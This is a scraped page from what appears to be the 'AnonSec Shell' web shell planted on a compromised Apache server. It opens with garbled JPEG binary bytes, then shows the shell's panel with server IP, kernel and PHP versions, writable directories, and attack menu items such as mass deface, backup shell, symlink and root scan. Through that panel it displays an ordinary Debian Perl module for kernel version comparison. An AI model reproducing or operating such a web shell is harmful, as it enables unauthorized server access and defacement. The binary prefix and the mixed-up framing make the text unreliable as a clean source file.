JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core/current/usr/share/perl5/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /snap/core/current/usr/share/perl5/DebianLinux.pm
# Copyright 2011 Ben Hutchings
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

package DebianLinux;

use strict;
use warnings;
use POSIX qw(uname);
use FileHandle;

BEGIN {
    use Exporter ();
    our @ISA = qw(Exporter);
    our @EXPORT_OK = qw(version_cmp image_stem image_list read_kernelimg_conf);
}

sub version_split {
    # Split into numbers and non-numeric strings, but break the non-
    # numeric strings at hyphens
    my $version = shift;
    return $version =~ /(?:\d+|-?[^-\d]*)/g;
}

sub version_cmp {
    my ($left_ver, $right_ver) = @_;
    my @left_comp = version_split($left_ver);
    my @right_comp = version_split($right_ver);

    for (my $i = 0; ; $i++) {
	my $left = $left_comp[$i];
	my $right = $right_comp[$i];
	# Do the components indicate pre-releases?
	my $left_pre = defined($left) && $left =~ /^-(?:rc|trunk)$/;
	my $right_pre = defined($right) && $right =~ /^-(?:rc|trunk)$/;
	# Are the components numeric?
	my $left_num = defined($left) && $left =~ /^\d+/;
	my $right_num = defined($right) && $right =~ /^\d+/;

	# Pre-releases sort before anything, even end-of-string
	if ($left_pre or $right_pre) {
	    return -1 if !$right_pre;
	    return 1 if !$left_pre;
	}
	# End-of-string sorts before anything else.
	# End-of-string on both sides means equality.
	if (!defined($left) or !defined($right)) {
	    return -1 if defined($right);
	    return defined($left) || 0;
	}
	# Use numeric comparison if both sides numeric.
	# Otherwise use ASCII comparison.
	if ($left_num && $right_num) {
	    return -1 if $left < $right;
	    return 1 if $left > $right;
	} else {
	    # Note that '.' > '-' thus 2.6.x.y > 2.6.x-z for any y, z.
	    return -1 if $left lt $right;
	    return 1 if $left gt $right;
	}
    }
}

# Find kernel image name stem for this architecture
my $image_stem;
if ((uname())[4] =~ /^(?:mips|parisc|powerpc|ppc)/) {
    $image_stem = 'vmlinux';
} else {
    $image_stem = 'vmlinuz';
}

sub image_stem {
    return $image_stem;
}

sub image_list {
    my @results;
    my $prefix = "/boot/$image_stem-";

    for (glob("$prefix*")) {
	push @results, [substr($_, length($prefix)), $_];
    }
    return @results;
}

sub read_kernelimg_conf {
    my $conf_loc = shift || '/etc/kernel-img.conf';
    my @bool_param = qw(do_symlinks link_in_boot no_symlinks);
    my @path_param = qw(image_dest);
    # These are still set in the jessie installer even though they
    # have no effect.  Ignore them quietly.
    my @quiet_param = qw(do_bootloader do_initrd);
    # These are used only by kernel-package, and are not relevant to
    # anything that linux-base does.  Ignore them quietly.
    push @quiet_param, qw(clobber_modules force_build_link
                          relink_build_link relink_src_link
                          silent_modules warn_reboot);

    # Initialise configuration to defaults
    my $conf = {
	do_symlinks =>		1,
	image_dest =>		'/',
	link_in_boot =>		0,
	no_symlinks =>		0,
    };

    if (my $fh = new FileHandle($conf_loc, 'r')) {
	while (<$fh>) {
	    # Delete line endings, comments and blank lines
	    chomp;
	    s/\#.*$//g;
	    next if /^\s*$/;

	    # Historically this was done by matching against one
	    # (path) or two (bool) regexps per parameter, with no
	    # attempt to ensure that each line matched one.  We now
	    # warn about syntax errors, but for backward compatibility
	    # we never treat them as fatal.

	    # Parse into name = value
	    if (!/^\s*(\w+)\s*=\s*(.*)/) {
		print STDERR "$conf_loc:$.: W: ignoring line with syntax error\n";
		next;
	    }
	    my ($name, $value) = (lc($1), $2);

	    # Parse value according to expected type
	    if (grep({$_ eq $name} @bool_param)) {
		if ($value =~ /^(?:no|false|0)\s*$/i) {
		    $conf->{$name} = 0;
		} elsif ($value =~ /^(?:yes|true|1)\s*$/i) {
		    $conf->{$name} = 1;
		} else {
		    print STDERR "$conf_loc:$.: W: ignoring invalid value for $name\n";
		}
	    } elsif (grep({$_ eq $name} @path_param)) {
		# Only one space-separated word is supported
		$value =~ /^(\S*)(.*)/;
		($conf->{$name}, my $excess) = ($1, $2);
		if ($excess =~ /\S/) {
		    print STDERR "$conf_loc:$.: W: ignoring excess values for $name\n";
		}
	    } elsif (grep({$_ eq $name} @quiet_param)) {
		;
	    } else {
		print STDERR "$conf_loc:$.: W: ignoring unknown parameter $name\n";
	    }
	}
	$fh->close();
    }

    # This is still set (to 0) by default in jessie so we should only
    # warn if the default is changed
    if ($conf->{no_symlinks}) {
	print STDERR "$conf_loc: W: ignoring no_symlinks; only symlinks are supported\n";
    }
    delete $conf->{no_symlinks};

    if ($conf->{link_in_boot}) {
	$conf->{image_dest} = '/boot';
    }
    delete $conf->{link_in_boot};

    return $conf;
}

1;

Anon7 - 2022
AnonSec Team